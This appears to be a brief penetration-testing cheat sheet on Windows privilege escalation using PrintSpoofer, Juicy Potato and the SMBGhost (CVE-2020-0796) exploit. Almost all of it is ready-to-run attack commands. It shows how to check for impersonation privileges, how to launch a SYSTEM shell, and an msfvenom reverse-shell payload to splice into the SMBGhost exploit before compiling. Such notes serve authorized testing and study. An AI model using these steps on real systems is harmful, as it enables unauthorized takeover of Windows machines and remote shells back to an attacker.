# Tools

### PrintSpoofer

{% embed url="https://github.com/itm4n/PrintSpoofer" %}

#### User enum

`whoami /all`&#x20;

if `SeAssignPrimaryToken` or `SeImpersonate` you're good to go (Y)&#x20;

#### Execute the following command:

```
PrintSpoofer.exe -i -c cmd
```

### Juicy Potato

{% embed url="https://github.com/ohpe/juicy-potato" %}

#### User enum

`whoami /all`&#x20;

if `SeAssignPrimaryToken` or `SeImpersonate` you're good to go (Y)&#x20;

Check for the OS system, and then use the CLSID from:

{% embed url="http://ohpe.it/juicy-potato/CLSID/" %}

#### Execute the following command (using you CLSID):

```
juicypotato.exe -t <u/t> -p <file to execute> -l <port> -c "{<CLSID>}"
juicypotato.exe -t * -p C:\Windows\Temp\8009.exe -l 6989 -c "{1ecca34c-e88a-44e3-8d6a-8921bde9e452}"
```

#### SMBGhost

{% embed url="https://github.com/danigargu/CVE-2020-0796" %}

Starting with line 204 in **exploit.cpp**, replace the shellcode with a reverse shell:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -f csharp
```

Using Visual Studio set the target to `x64` and `Release` and compile the exploit.
